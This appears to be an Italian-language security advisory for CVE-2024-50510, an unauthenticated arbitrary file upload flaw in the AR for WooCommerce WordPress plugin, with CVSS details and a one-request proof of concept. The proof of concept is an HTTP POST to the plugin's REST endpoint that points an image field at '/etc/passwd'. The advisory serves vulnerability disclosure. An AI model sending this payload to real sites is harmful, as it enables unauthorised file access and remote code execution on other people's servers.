CVE-2024-50510

AR For Woocommerce <= 6.2 - Caricamento arbitrario di file senza autenticazione

Descrizione

Il plugin AR for WooCommerce per WordPress è vulnerabile a caricamenti arbitrari di file a causa della mancata validazione del tipo di file in tutte le versioni fino alla 6.2 inclusa. Ciò consente a attaccanti non autenticati di caricare file arbitrari sul server del sito interessato, rendendo possibile l'esecuzione remota di codice.

Dettagli

• Tipo: plugin
• Slug: ar-for-woocommerce
• Versione interessata: 6.2
• Punteggio CVSS: 9.8
• Valutazione CVSS: Critico
• Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-50510
• Stato: Attivo

POC

POST /wp-json/ar-wc-display/featuredimage/ HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/json
Content-Length: 41

{"id":123,"featured_image":"/etc/passwd"}